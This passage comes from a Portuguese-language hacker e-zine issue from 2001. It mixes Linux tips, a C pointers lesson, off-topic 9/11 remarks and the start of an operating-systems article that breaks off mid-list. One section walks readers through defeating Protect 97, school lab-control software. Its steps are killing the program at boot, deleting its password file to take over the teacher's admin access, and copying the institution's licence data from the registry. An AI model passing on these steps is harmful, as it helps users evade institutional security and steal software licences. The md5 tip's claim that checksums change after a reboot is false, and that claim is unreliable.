o..................................................................o
.ZZZZZZZZZZ  ..  NNNn    nNN EEEEEEE   sSSSSSS  bb        rrrrrrrr .
.ZzZ   ZZ    ""  NN NN    NN EEeeeee  sSSS  sSs bb         rr   rr .
.Zz   ZZ     ii  NN  NN   NN EE       sSS       bbB        rrrrrrr .
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.ZZZZZZZZZz iiii NNn     nNN EEEEEEE  sSSSSSs   bbbbbbbbb rrr   rr .
o..................................................................o


.:x| Revista Virtual ZiNESbr   |x:.
.:x| Edicao 10                 |x:.
.:x| Data: 14/10/2001          |x:.
.:x| #ZiNESbr - Rede BrasNET   |x:.
.:x| http://zinesbr.hpg.com.br |x:.
.:x| zinesbr@ieg.com.br        |x:.

x Melhor visualizado no WordPad do Windows ou no VI do Linux  x
x Todo conteudo deste ZiNE sao para fins educativos           x
x Nao nos responsabilizamos por usos indevidos                x
                                 _________   ___
                                |         | |   |
                                | ZiNESbr |.|hpG|
                                | @#!?.* | |===|
                                |_________| |___|
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'''''''''''''''''''''''''''''''''ZinesBr'''''''''''''''''''''''''''''
         *INDICE*                                   *AUTOR*

<<[00][ Introducao                             ][   Gotoxy    ][00]>>
<<[01][ Zinesbr Offtopic                       ][   Gotoxy    ][01]>>
<<[02][ Cursinho de Linux - Parte 10           ][   Gotoxy    ][02]>>
<<[03][ Cracker Parte II                       ][   Morfeu    ][03]>>
<<[04][ Basico de C III                        ][   esquelet  ][04]>>
<<[05][ Sistemas Operacionais                  ][   Warez     ][05]>>
<<[06][ A Linguagem Pascal                     ][   Gotoxy    ][06]>>   
<<[07][ Shell Script                           ][    azSo     ][07]>>  
<<[08][ Loucuras do Windows                    ][   BashX     ][08]>>
<<[09][ Phreaking Parte II                     ][   Morfeu    ][09]>> 
<<[10][ Algumas Tecnicas                       ][    sort     ][10]>>
<<[11][ Os RootKits                            ][   Gotoxy    ][11]>>
<<[12][ PHP - Parte I                          ][    sort     ][12]>>      
<<[13][ BD em III-DBASE                        ][   Spawn     ][13]>>
<<[14][ Criando um trojan                      ][   Morfeu    ][14]>>
<<[15][ Phreaking Parte III                    ][   Picasso   ][15]>>
<<[16][ Morfeu Firewall                        ][   Morfeu    ][16]>>
<<[17][ Local Anti Overflow                    ][   Gotoxy    ][17]>>
<<[18][ Manifestos                             ][    azSo     ][18]>>
<<[19][ Url de Sites                           ][   Gotoxy    ][19]>>
<<[20][ Emails da Galera                       ][   ZiNESbr   ][20]>>
<<[21][ Ultimas palavras                       ][   Gotoxy    ][21]>>
_____________________________________________________________________
'''''''''''''''''''''''''''''''''ZinesBr'''''''''''''''''''''''''''''


SETOR [00]
==[ Introducao ]==
==[ por Gotoxy ]==

    I came back!!! =)  
    #################

   Falaeh galera!! Pois eh ne.. eu resolvi voltar antes!! Eh a saldade 
manos!!:) Nao aguentei ficar muito tempo longe de escrever para todos
vcs..=) Eu criei um certo clima na edicao 08 sobre o zinesbr acabar!! 
mas ele nem pode acabar tao cedo assim nao eh mesmo!!?? Na edicao 09
o sort e o |wolf| administraram o mesmo, o qual ficou muito rlz!!!
valeu a forca irmaos!! e agora eu to de volta !! =)

   Bem, de volta aki a edicao a 10, estou colocando a disposicao de todos
voces mais informacoes sobre informatica, o qual quero que todos nos
tenhamos mais experiencia com o hacking.

   Eu ainda ando muito sem tempo, pois alem de ter q estudar, tenho uma
banda o qual eu me dedico muito a ela, e portanto, sempre tenho q 
ensair em estudios, ou em casa mesmo, para assim estarmos sempre 
melhores.. =) Continuando... alem de ter escola e a banda, tenho 
mil e uma coisa para fazer no dia dia... sim!! sou uma pessoal normal!!:)
portanto, tenho pouco tempo para escrever textos!! por isso eu peco mais 
uma vez a compreensao e a boa vontade de todos para enviar textos para o 
ZinesBr! 

   Pessoal, vamos ver se o ZiNESbr continue crescendo (no sentido de
oferecer conhecimento) cada vez mais!!! Fazerei o maximo possivel
para ensinar coisas uteis.. se voce kiser ensinar tambem, nao
perca tempo! Escrever textos nao eh tao chato assim.. basta nao
ter preguica! Voce ensinando vai estar sempre aprendendo cada vez
mais..acredite!! 

   Assim como ja disse varias vezes, o zine esta voltado para newbies
fucadores eticos!! Pq isso??? Porque o hacking nao eh nenhuma 
brincadeirinha... eh coisa seria, e para segui-lo serio, precisa
ter etica! Se voce pensa asneiras sobre o hacking, nao leia por favor.

   Ahh, soh mais uma coisinha!! Eu divido os textos partes por partes
porque eu nao tenho tempo suficiente para escreve-los 'quase' completo.
Ta aih o motivo blz?? Ps: ja me perguntaram isso uma vez =)

   Bom entao eh isso! Chega de falar muito aki na introducao, ate pq
muitos nem le isso..=) Uma boa leitura para voces caros leitores e um 
abraco a todos,

Gotoxy.

                                                   Gotoxy
                                                   gotoxy@linuxbr.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [01]
==[ ZiNESbr Offtopic ]==
==[ por Gotoxy       ]==

Bem.. vc ja conhece essa secao nao? pois entao nao sera necessario explicar
a mesma =)

####################
# Primeiro assunto #
####################

apenas uma versao
-----------------

O zinesbr NAO vai ter duas versoes (uma para linux e outra para windows)
como foi na edicao 09..  melhor uma mesmo.. assim como era as outras....
caso voces leitores prefiram duas versoes, me falem, pois assim eu 
dou um jeito...


###################
# Segundo assunto #
###################

curso de sockets em C
---------------------

eu deixei de continuar com os cursos de sockets em C pq eu encontrei
um site onde esta explicando isso detalhamente.. e sendo assim, nao
sera necessario eu continuar ensinando uma coisa aonde ja se encontra
em muitos lugares...
bem.. alem la do site da unsekurity (unsekurity.virtualave.net), onde
ja tem uns textos falando muita coisa boa sobre sockets, tem o site
do Olinux(www.olinux.com.br) onde eles estao publicando cursos de
sockets em C... bem, ta aih o motivo para eu nao precisar mais falar
sobre issu.. mas qlq duvida, envie emails perguntando!

####################
# Terceiro assunto #
####################

agradecimentos aos coolaboradores
---------------------------------

nesta edicao recebi muita coolaboracao por parte dos leitores...
gostaria aki de estar agradecendo a cada um de voces.. bem.. obrigadu
pela ajuda pessoal... continue ajudando!! Vamos estar sempre unindo
informacao e estar passando essa informacao para todos!!! mas para
isso, precisamos de ajuda nao eh mesmo?!!?! 

##################
# Quarto assunto #
##################

The War
-------

11 de setembro... tao lembrado??? eu tava na escola.. ja era quase
10 horas quando os terroristas atacaram as torres gemeas.. acho
que foi um bem feito pros eua por varios motivos, o quais prefiro
nao ficar citando aki... soh acho sacanagem as pessoas que nao
tinham nada a ver com isso morrerem atoa...
rm -rf /bin/laden por ter matado milhoes de pessoas inocentes e
ter causado uma grande dor em todos (todos nos sofremos com isso,
foi uma coisa muito feia)...
foda-se bush...

ps: leia a secao manifestos (manifesto 1) para vc ver alguns dos 
motivos pq eu acho um fodas pro eua!!

sem mais..........

wordpad ou word
---------------

apos uns dias isso se espalhou pela net.. caso tu nao viu vou
falar aki ... o "povo" disse que o numero de voo do aviao q
bateu na WTC eh Q33NY.. se tu digitar isso no wordpad ou no word
e mudar a letra para Wingdings, voce vera um aviao, duas torres,
uma caveira(q significa as vitimas mortas) e o simbolo de israel.

teste aih para voce ver.. digite Q33NY (em maisculo) e depois
selecione ela e mude a letra para Wingdings...

tem uma outra tb q eh assim... New York City, a abreviatura disso
eh NYC.. se escrever isso (em maiusculo) no wordpad ou no word
e mudar a letra tambem para Wingdings, voce vai ver 3 simbolos, o
q quer diZer: "morte aos israelenses" - N eh a caveira (que 
signica a morte), Y o simbolo de Israel e C eh uma mao dando 
joia.. sako a intencao ne? .......


###################
# Fim de assuntos #
###################

eh... nao tenho nada mais pra falar.. ai ai.. falta de imaginacao :/
bem.. 
continuem lendo o zine... at'e!

                                                  Gotoxy
                                                  gotoxy@linuxbr.com.br
.:x|-------------------------------------------------------------------|x:.










SETOR [02]
==[ Cursinho de Linux - Parte 10 ]==
==[ por Gotoxy                   ]==

Topicos:

1. Introducao
2. Setterm
3. p2c
4. MD5
5. Nomerc
6. Brincando
7. Terminando

--------------- ## --------------- ## --------------- ## ---------------

 ___                  .---------------------.                  ___
|   |_________________|                     |_________________|   |
| 1 |_________________|     INTRODUCAO      |_________________| 1 |
|___|                 |                     |                 |___|
                      `---------------------'                  

Este eh o Dcimo... wow!! Muito legal ne.. acho que voces devem estar
aprendendo algo com isso aki, ou nao?!:) Se quiserem mandar coisas
interessantes aki para o cursinho de linux sintam-se a vontade!!
Se voce tem uns segredos rulez aih que vc sabe fazer no linux, nao
deixe de ensinar!;p O ZiNESbr aguarda sua colaboracao, e os leitores
tambem!:)

Na edicao09 do zinesbr eu fiz o CursindeLnx correndo, nem sei se
ficou bom.. mas aqui eu fiz com mais calma.. espero que os ajude em
algo!!:) Entao leia aeh!!!

--------------- ## --------------- ## --------------- ## ---------------

 ___                  .---------------------.                  ___
|   |_________________|                     |_________________|   |
| 2 |_________________|       SETTERM       |_________________| 2 |
|___|                 |                     |                 |___|
                      `---------------------'

#####################
# O comando setterm #
#####################

INDICE
1. Overview
2. Cor de fundo
3. Cor da letra 
4. Efeitos
5. Protecao de tela
6. Last Words


1.Overview
##########

este comando serve para vc configurar seu terminal linux!!
se vc eh um dakeles (como eu!:p) que soh fica no modo terminal,
entao aproveite para usufruir mais dele..:)
voce pode mudar as cores de fundo, a cor da letra, colocar
efeitos, entre outras coisas atraves deste comando.. 
no docorrer do texto, vc vai aprender isso, entre outras coisas,
confira!:) 


2.Cor de fundo
##############

vamos comecar pela cor de fundo.. para modificar a cor do fundo
basta utilizada a opcao -background do setterm! veja:

~# setterm -background cor

onde cor, pode ser:
black, red, green, yellow, blue, magenta, cyan, white, default

aih por exemplo, voce poderia usar (para ter um fundo azul):

~# setterm -background blue


3.Cor da letra
##############

para voce mudar a cor da letra, basta utilizar a opcao -foreground
do comando setterm! 

~# setterm -foreground cor

onde cor, pode ser:
black, red, green, yellow, blue, magenta, cyan, white, default

veja um exemplo colocando a letra verde(green):

~# setterm -foreground green


4.Efeitos
#########

O efeito piscante (akele em que a letra fica piscando) eh
feito tb utilizando o comando setterm!!
para isso, basta voce utilizar o comando dessa forma:

~# setterm -blink on/off

ou seja, para ligar esse efeito, vc digita
~# setterm -blink on
e para desligar, basta voce digitar
~# setterm -blink off


5.Protecao de tela
##################

A protecao de tela em modo terminal tb eh ajustada via
o comando setterm! para isso, basta usar o comando
desta maneira:

~# setterm -blank minuto(s)

onde o minuto pode ser de 0 a 60, onde 0 significa OFF,
ou seja, desabilita a protecao de tela!! por exemplo:
voce quer que a protecao de tela ative dps que o mouse
ficar parado apos 3 minutos, bastaria vc digitar:

~# setterm -blank 3

ps: para sair do modo protecao de tela basta mecher com 
o mouse.

aih voce nao ker usar mais a protecao de tela, basta voce
digitar:

~# setterm -blank 0


6.Last Words
############

  A brincadeira termina por aqui..:)
T+


--------------- ## --------------- ## --------------- ## ---------------

 ___                  .---------------------.                  ___
|   |_________________|                     |_________________|   |
| 3 |_________________|         P2C         |_________________| 3 |
|___|                 |                     |                 |___|
                      `---------------------'

p2c eh o nome de um programa que tem no linux que cujo objetivo
eh transformar um codigo .pas (ou seja, escrito em pascal), para
um codigo .c (ou seja, escrito em C).

Eu nao gostei muito dele nao, mas to escrevendo isso, porque
talvez voce ache-o interessante e se apaixone por ele e ..
(duh!) :)

Caso voce nao tenha instalado em sua distribuicao Linux, basta
procurar por ele no cdrom de sua distribuicao! O nome do
pacote eh p2c.tgz (no slack)!

Usar ele eh bem facil.. Execute-o desta forma:

~# p2c programa.pas 

Aguarde um pouco e pronto! Sera criado um novo arquivo cujo
nome eh programa.c e para visualizo basta edita-lo (duh!)...

Olhe um exemplo de um programa chamado hello.pas:

------------[ corte aki ]-------------
program hello.pas
begin
writeln('Hello, ZiNESbr!');
end
------------[ corte aki ]-------------

antes de voce transformar esse programa para .c, compile-o
para voce ver se ele funciona corretamente! o pacote p2c,
vem com o p2cc, que eh um compilador de pascal, entao compile
utilizando a sintaxe abaixo:

~# p2cc hello.pas -o hello
~# ./hello
Hello, ZiNESbr!
~#

realmente funciona, agora transfome esse codigo para C, digite:

~# p2c hello.pas

"hello.pas", line 1,5: Warning: Expected a semicolon, found a '.' [227]
hello
"hello.pas", line 1: Warning: Expected BEGIN, found a '.' [227]
"hello.pas", line 7,18: Warning: Expected a '.', found end of file [227]

Translation completed.

assim como voce esta vendo, ocorreu uns Warning! Sendo assim, eh
necessario voce mecher um pouco agora no source do pascal.c para
arrumar uns problemas, porque nao vai dar para compilar ele do
jeito que esta! olhe:

~# gcc hello.c -o hello

/tmp/ccYXtPSX.o: In function `main':
/tmp/ccYXtPSX.o(.text+0xc): undefined reference to `PASCAL_MAIN'
collect2: ld returned 1 exit status

o que voce tem que fazer eh simplesmente eh retirar a linha abaixo:
  PASCAL_MAIN(argc, argv);
do codigo do hello.c e depois basta tentar compilar novamente:

~# gcc hello.c -o hello
~# ./hello
Hello, ZiNESbr!


bem, eh isso!!!

--------------- ## --------------- ## --------------- ## ---------------

 ___                  .---------------------.                  ___
|   |_________________|                     |_________________|   |
| 4 |_________________|         MD5         |_________________| 4 |
|___|                 |                     |                 |___|
                      `---------------------'

Ps: isso eh uma dica para akeles computadores que ficam ligados
    dias e noites

Aki vou mostrar como voce pode saber se uma pessoa modificou algum
arkivo de seu sistema, como por exemplo o passwd! Vamos fazer isso
utilizando um metodo conhecido como md5 (q eh um algoritmo)...

O programa utilizado sera o md5sum, cujo tem a funcao de checar
o MD5 checksums dos programas..

veja um exemplo de um programa:

XXXXX[ monta ]XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
# monta sua particao windows no linux na pasta /mnt/win
mount /dev/hda1 /mnt/win
# eof
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

deixe isso em qlq diretorio (como por exemplo no /bin).. e dps
digite "chmod +x /bin/monta" (sem aspas e suponhando que esteje
no dir /bin).. apos, veja o md5 checksum desse programa..

# md5sum /bin/monta
87bd406e0b30deced83b3d2794cca8c1  /bin/monta

vc pode tb utilizar a opcao -b, para indicar que eh um binario,
aih voce digitaria: md5sum -b /bin/monta

quando eh um arkivo binario, ele eh indicado atraves de um '*'
(asterisco), quando eh um arkivo texto, eh indicado atraves de
um '  ' (espaco).

O md5 checkum do /bin/monta eh(isso no meu pc, no seu eh outro):

87bd406e0b30deced83b3d2794cca8c1

aih voce salva isso num lugar secreto (num diskete por exemplo,
o qual soh voce tem acesso a ele).. bem, agora suponhamos que
seu irmao aproveita que vc nao se encontra no pc e digita o
seguinte comando:

# echo "hahaha" >> /bin/monta

ate entao voce nao sabe de nada.. aih quando tu chega no seu pc
voce vai digita o programa "monta" e ve que ocorre algo estranho,
entao voce pensa: "alguem andou mechendo nisso". entao o que
vc faz eh checar o md5 checkum desse arkivo (no caso o /bin/monta)

# md5sum /bin/monta
e6a3b064a515a4d7015f6708f76bd17c  /bin/monta

como pode ver, o md5 checksum esta completamente diferente.. vc
pode usar o programa 'diff' do linux para checar isso! basta 
usa-lo da seguinte forma: diff ark1 ark2 (ele compara um arkivo
com o outro e mostra suas diferencas nas respectivas linhas)

Uma Observacao Importante:
   O MD5 Checksums dos programas muda depois que voce 
desliga/reinicia seu computador.

--------------- ## --------------- ## --------------- ## ---------------

 ___                  .---------------------.                  ___
|   |_________________|                     |_________________|   |
| 5 |_________________|        Nomerc       |_________________| 5 |
|___|                 |                     |                 |___|
                      `---------------------'

Tou aki para falar de uma besteirinha... sabe akeles arkivos que tem
como final um "rc" ?? Exemplos: .bashrc, .lessrc, .exrc, .bitchxrc,
wgetrc, etc. Pois eh.. esses arkivos sao os arkivos de configuracao
de programas, que sao carregados assim que tal programa eh executado.

Um exemplo disso eh o cliente de irc BitchX... o arkivo 'rc' dele eh
o .bitchxrc ou o .ircrc! Aih voce poderia por exemplo colocar no
arkivo .ircrc o seguinte codigo:

$ cat > .ircrc
/set realname root

E sendo assim.. apos voce executar o BitchX, esse arkivo sera 
carregado e assim akele IRCNAME do BX ficara setado como 'root'!

$ BitchX meuNick Servidor
/whois meuNick

De uma olhada no IRCNAME!:)

--------------- ## --------------- ## --------------- ## ---------------

 ___                  .---------------------.                  ___
|   |_________________|                     |_________________|   |
| 6 |_________________|      Brincando      |_________________| 6 |
|___|                 |                     |                 |___|
                      `---------------------'

Tipo, se voce nao ker que nenhum user do seu sistema acesse a 
shell bash (ou qlq outra) vc pode fazer com que ele execute uma
outro coisa.. ou ate mesmo um Emulador de Shell para os users
brincar um pouco.. ja ouviu falar do Ze?? Pois eh.. vc pode
botar ele e assim quando alguem acessar seu sistema,... vai
ficar tentando "hackear" o mesmo....

bem... para isso basta fazer o seguinte:

   * editar o arkivo /etc/passwd
     vi /etc/passwd
   * ao invez de executar o /bin/bash, executar o /bin/Ze
(colokei o Ze no dir /bin como exemplo)
     
suponhamos que o Ze esta no diretorio /bin.. aih tem a seguinte
linha no /etc/passwd:

user:x:uid:gid:,,,:/home/user:/bin/bash
                                |    
                       isso indica executar a shell
mude isso para:

user:x:uid:gid:,,,:/home/user:/bin/Ze

pronto.. assim quando o 'user' acessar sua porta 23(telnet) ele
nao caira na shell e sim no emulador!

vc pode colocar tb os dois emuladores (a versao 1 e a versao 2)..
quer saber como? facil.. primeiro jogue os dois Ze's para o 
diretorio /bin (pode ser outro, mas vamos por no bin para ficar
mais simples as coisas...)
apos isso, renomei a versao 1 para Ze e a versao 2 para Ze2! 
apos isso, crie um programa cujo nome seja emula.c (ou qlq
outro) e dps adicione o seguinte codigo nele:

----- corte aki ---------

char ze [20];
system("/usr/bin/clear");
printf("Welcome to MyMakina! =)\n");
printf("\nA partir daki vc vai entrar no Ze v1 ou Ze v2!\n");
printf("Para entrar na v1, digite: ze1\n");
printf("Para entrar na v2, digite: ze2\n");
printf("Para sair daki, digite qlq merda!\n\n");
printf("Type: ");
scanf("%s",&ze);
if(!strcmp(ze,"ze1")){
system("/bin/Ze");}
if(!strcmp(ze,"ze2")){
system("/bin/Ze2");}}

----- corte aki ---------

compile isso (gcc emula.c -o emula) e depois coloque no dir
/bin.. agora basta botar isso na conta do user que voce ker 
q acesse o Ze..portanto, mude de:

user:x:uid:gid:,,,:/home/user:/bin/bash
para
user:x:uid:gid:,,,:/home/user:/bin/emula

Agora teste aih e voce tera uma surpresa!!!:)

     se voce preferir, voce pode deixar que um user do seu
sistema nao acesse nenhuma shell quando telnetar o seu
sistema.. para isso, basta substituir de 

user:x:uid:gid:,,,:/home/user:/bin/bash
para
user:x:uid:gid:,,,:/home/user:/bin/false

     aih apos ele entrar, imediatamente ele vai estar
saindo..

bem entao eh isso...

--------------- ## --------------- ## --------------- ## ---------------

 ___                  .---------------------.                  ___
|   |_________________|                     |_________________|   |
| 7 |_________________|      Terminando     |_________________| 7 |
|___|                 |                     |                 |___|
                      `---------------------'


  O decimo cursinho de Linux termina por aqui.. proxima edicao tem
mais! E lembre-se, continue sempre estudando. Quem nao pratica nao
se aperfeicoa.. nao eh mesmo? Portanto, vasculhe todo o seu sistema
e descubra tudo o que existe de "oculto"...
  At o Proximo Cursinho de Linux!

                                                  Gotoxy
                                                  gotoxy@linuxbr.com.br
.:x|-------------------------------------------------------------------|x:.










SETOR [03]
==[ Cracker Parte II ]==
==[ por Morfeu       ]==

#######################################
# Quebrando a Seguranca do Protect 97 #
#######################################

Obs: Distribua livremente mais mantenha inalterado.

O Protect 97  um software de segurana que foi feito pela Quartzo 
Eletrnica Ltda. Esse programa  muito usado em escolas e cursos de 
informtica.

Alguns exemplos do que o programa faz:

* Grava tentativas de leitura/escrita de arquivos no permitidos
* Impede compilao de arquivos
* Impede leitura de disquete ou gravao de disquete para HD
* Esconde unidades do seu HD
* Esconde diretrios
* Impede acesso ao Painel de Controle e registro do windows

Ele  realmente muito eficiente mas no impede que um carinha esperto 
deixe de conseguir brincar no windows que t "protegido" por esse 
software.

Nem adianta voc baixar ele porque pra comear a usar o programa tm 
que ter dados de um registro verdadeiro. Eu peguei esses dados de um 
curso aqui do RJ (no interessa qual).

Bom... assim que voc liga o computador e o windows  iniciado, o
protect se ativa...A jogada toda t a... Assim que o windows tiver 
carregando voc d "ctrl + alt + del" e v se l tm escrito "Protect".
Mas o qu  esse "Protect"? Isso indica a inicializao do Protect no
sistema... Continuando...  s voc selecionar o "protect" e apertar o 
"Finalizar tarefa" Se no aparecer no seu primeiro "ctrl alt del", d 
um ESC e rapidamente d o "ctrl alt del" e repita isso at aparecer 
"protect", quando aparecer, finalize a tarefa. (duhhh) Pronto! Assim o 
sistema estar totalmente aberto pra voc! Mais ainda no  o bastante...
Que tal voc ter de graa os dados de registro que o seu curso pagou pra 
ter? Ou ainda... Mudar a senha do administrador do protect (seu 
professor...)? Pense bem... se voc checar o diretrio C:\Protect, que 
 o diretrio padro de instalao do protect, voc vai ver l os 
arquivos do programa e tal... mais o qu interessa  o arquivo 
"protect.pwd". 

Esse arquivo guarda a senha (codificada) pra acesso s configuraes do
Protect. Voc s precisa deletar esse arquivo e abrir o "Protect.exe"... 
Assim que o programa estiver ligando e ver que no existe o arquivo 
"protect.pwd" ele no vai pedir senha! Obviamente voc no conseguir 
deletar esse arquivo com o protect ligado pois o mesmo ir bloquear sua 
ao e ainda vai logar (gravar) que voc tentou fazer isso. Portanto, 
no se esquea de finalizar o protect assim que o windows estiver ligando.

Outra maneira de burlar a segurana do protect  eliminando o processo do 
protect na memria, ou seja, fechando o programa! Claro que ele nao aparece
num simples "ctrl+alt+del"... somente na inicializao... mais se voc 
manja de programao voc pode fazer um programa pra eliminar processos 
da memria... esse  um jeito meio que difcil porque o protect estando 
ligado no vai deixar voc compilar arquivos...

Agora vou ensinar a roubar os dados de registro do protect:
Depois de ter desativado ele e zoneado bastante no sistema voc entra 
no editor de registro do windows (regedit) e vai em: 

HKEY_LOCAL_MACHINE\Software\Quartzo\Protect

L vai ter uma porrada de chaves, as nicas que interessam so as seguintes:

Data
Key
Name

So essas chaves que so o registro do Protect. Futuramente, registre 
sua cpia do Protect no seu computador! Pra registrar voc aperta o 
boto "Registre!" e preenche de acordo com isso: A chave "Data" equivale
ao campo "Dados", a chave "Key" equivale ao campo "Registro" e a chave 
"Name" equivale ao campo "Nome". 

Vou terminando por aqui.

                                                          Morfeu
                                                          morfeu@mail.ru
.:x| -------------------------------------------------------------------|x:.










SETOR [04]
==[ Basico de C III ]==
==[ por esquelet    ]==


--------
Ponteiro
--------

    Um ponteiro  uma varivel que guarda um endereo de memria de outro 
objeto .

          Existem dois tipos de operadores quer so : &  e *.

& -> refere ao endereo de memria

* -> referem ao conteudo da variavel


Exemplo:

#include <stdio.h>

int main() {

int *ponteiro, valor,a;

a=400;

ponteiro=&a; /*vai receber o endereo de A */

valor=*ponteiro;/*vai receber contedo de A*/

printf("%d", valor);/*vai imprimir valor A que corresponde a 400*/
return 0;

}

------------------
Ponteiros e matriz
------------------

H uma relao entre ponteiro e matrizes.

Exemplo :

char str[80], *p;

p=str;


  Aqui , p foi associado ao endereo do primeiro elemento da matriz em str. 
Em linguagem C , um nome de matriz sem um ndice  o endereo para o comeo 
da matriz .

Quer pode ser assim :

p=&str[0] ;

Esta forma  considerado pobre por muitos programadores em C




=====================================================================

                Alocando e liberando Memria

  Uma viso de como  feita a utilizao de memria de um programa em C

                Memoria Principal

                !!!!!!!!!!!!!!!!!
                !               !
     alta       !  Pilha        !
                !               !
                !!!!!!!!!!!!!!!!!
                !  memoria      !
                !  livre para   !
                ! alocao      !
                !!!!!!!!!!!!!!!!!
                ! variavel      !
                !     global    !
                !               !
                !!!!!!!!!!!!!!!!!
                !  Programa     !
baixa           !               !
                !               !
                !!!!!!!!!!!!!!!!!

  Vamos comear a falar sobre as funes malloc() e free() .

Estas duas funes trabalham juntas usando uma posio ( ou uma  regio )  
de memria livre para estabelecer e manter uma lista do espao disponvel.

A funo malloc ( ) aloca memria e a funo free () libera a memoria 
utilizada pelo funo malloc() para o sistema .

#include<stdlib.h> Podemos usar as funes malloc() e free() atraves dessa 
include caso contrrio no podemos utilizar .

Exemplo:

#include<stdlib.h>
#include<stdio.h>
main() {
int *p,t;
p=malloc(40*sizeof(int));
if (!p)  //certifica se um ponteiro valido
  printf("Nao pode alocar memoria");
else {
       for (t=0;t<40;t++) *(p+t) = t;
       for (t=0;t<40;t++) printf("%d",*(p+t));
       free(p); / *liberando memoria para o sistema */
     }
       }

Exemplo 2:

#include<stdlib.h>
#include<stdio.h>
main() {
int *p,media,i,num;
media=0;
printf("Informe o numero de inteiro para calcular a media");
scanf("%d",&num);
if ( (p=malloc(num*sizeof(int))==NULL ){
   printf("Nao pode alocar memoria");
   exit(1);

                                       }
for(i=0 ; i<=num;i++){
   printf("%d\n",i+1);
   scanf("%d",&p[i]);
   media+=p[i];
                     }
printf("A media e %d", media/num);
         }

                                                     esquelet
                                                     jisd@zipmail.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [05]
==[ Sistemas Operacionais ]==
==[ por Warez             ]==

Sistemas Operacionais


Bem kras, aqui vai uma introduo  teoria de sistemas operacionais - a 
primeira parte... q o assunto vai longe. 

Minha inteno ao escrever um artigo sobre sistemas operacionais  que 
vai te possibilitar conhecer mais a fundo a tua mquina, alm de saber 
o porque de determinadas coisas funcionarem de tal modo ou, como geralmente
acontece, no funcionarem de forma alguma. Tendo em mente que podemos sempre 
nos aprofundar um pouco mais. Em computao sempre podemos descer um pouco 
de nvel, para entender como as coisas funcionam. E acredito que seja uma
das poucas coisas da vida em que podemos "baixar o nvel" sem nos tornarmos 
rudes. Filosofia a parte vamos ao que interessa.

 bvio que a recomendao para estudar projeto e implementao de Sistemas 
Operacionais seja com base no linux, e podemos at mesmo pular o porque.

Recomendo que vc reserve uma parte da memria do seu HD para instalar o 
linux e os fontes dele (  c tem que prestar ateno na hora de instalar o 
sistema ), isto c vc ainda ta rodando o ruindos na tua mquina( joga fora... 
vai fazer um bem danado pra tua futura propriedade intelectual - pois se 
vc o usa  indcio de que no tem nenhuma .. heheh ... brincadeira vai. 
Talvez vc nem tenha escolha por falta de mquina ou poltica da empresa em 
que vc trabalha ou seja l o motivo. Enfim , qto aos detalhes da instalao 
do linux Vc pode encontrar uma srie de tutoriais na rede sobre como fazer 
isto, e eu definitivamente no vou te explicar como neste artigo.

Bom... tpico cenrio.. reparticionei meu HD, instalei o linux.. deu um 
monte de pau, fui entrar no ruindos e perdi uma srie de documentos... 
reinstalei o dito cujo, desta vez foi mais ou menos... mas qdo fui rodar 
o ruindos ele no entrava mais... fiquei puto... joguei a merda deste 
artigo na lixeira... reinstalei o ruindos...me arrependi depois de um 
tempo pois no consigo ficar sem fuar... e desta vez ta tudo funcionando 
aparentemente bem . Legal. que fao agora?

Bem, eu te avisei pra jogar o ruindos fora.. mas c vc insiste em rodar 
ele, problema teu. O que fazer em seguida depende de qual  teu intuito 
e at onde vc quer chegar( se  que vai chegar a algum lugar ). Se vc 
pretende apenas aprender a programar em C, copiando o fonte de uns exploits 
pela rede, uns vrus em assembly, achando que vai se tornar o fera da 
computao... xiiii... c ta ferrado cara... no vai muito longe no.

Mas c vc pretende realmente poder fazer alguma coisa que preste e um dia 
poder prestar um servio "louvvel" a comunidade - e qdo eu digo comunidade 
eu me refiro a comunidade hard da net, e no a algum papo besta de algum 
poltico idiota ( vc viu que o governo dos EUA vai considerar hacker como 
terrorista agora?  mole? e o pior  que esses mano nem sabe direito
o que  realmente um hacker.. mas deixa pra l vai, no tem nada a ver com
nosso papo)  tudo o que vc tem que fazer  continuar preservando o teu 
esprito "anarquista" e tua impetuosidade tremenda ( te coloquei l em cima 
hein? Tudo bem,  pra recompensar o tempo que vc perdeu lendo este artigo 
at agora. )


Vamos comear pelo lgico, pois  exatamente com isto que trabalhamos todos 
os dias. Consideremos os componentes de um sistema computacional.

O computador  composto por um conjunto de um ou mais processadores, memrias 
e dispositivos de entrada/saida interligados atravs de um barramento. 

O processador  o crebro do computador, sua funo  executar os programas 
armazenados na memria principal, buscando cada instruo do programa e 
executando-as. Os componentes so interligados por meio de um barramento - um 
conjunto de fios paralelos que permite a transmisso de dados, endereos e 
sinais de controle. Existem barramentos externos ao processador responsveis 
por conectar o processador  memria e aos diversos dispositivos de E.S. O 
processador  constitudo de diversas partes. A unidade de controle  a parte 
do processador responsvel pela busca das instrues na memria principal e 
pela determinao do seu tipo. A unidade de Aritmtica e Lgica  responsvel
pelas operaes bsicas como , por exemplo, somar dois nmeros. O processador 
ainda tem uma memria pequena e de alta velocidade, usada para armazenar 
resultados temporrios e algumas informaes de controle. Essa memria  
formada por um conjunto de registradores, cada qual com o seu tipo e tamanho
determinado.

Ao projetar um computador o fabricante decide quais operaes vo fazer parte 
do seu conjunto de instrues, formalmente conhecido como linguagem de mquina. 
Em geral, eles tentam fazer com que as instrues bsicas sejam to simples 
qto possveis, o que torna o seu uso dficil.

Supunhetemos o seguinte vio... Aquilo que nos  conveniente, obviamente no 
o  para a mquina. Isto fez com que ao longo do tempo, fosse definida uma 
maneira estruturada de se organizar um sistema computacional atravs de uma
srie de nveis, sendo cada um desses abstraes construda com base naquele 
situado imediatamente abaixo. Desse modo a complexidade pode ser dominada, e
os sistemas de computador podem ser projetados de maneira sistemtica e 
organizada.

 a noo de dividir para conquistar. O que estaremos tratando aqui  
especificamente sobre o Nvel 3. Lembrando que a nmerao destes nveis, 
para aqueles mais radicais ,  apenas uma conveno para podermos lidar 
melhor com o domnio do problema.  

Aconselha-se ler isto de baixo para cima...

Estes so os seguintes nveis que nos deparamos na grande maioria dos casos

Nvel 5    Nvel das linguagens orientadas para soluo de problemas
           Conhecidas como linguagens de alto nvel (vc deve conhecer, tem 
           uma poro delas por ai), Os programas escritos nestas linguagens
	   so traduzidos para os nveis 3 ou 4 por  por tradutores 
           conhecidos como compiladores, apesar de , em  alguns casos, serem 
           interpretadas.

Nvel 4    Nvel da linguagem do montador
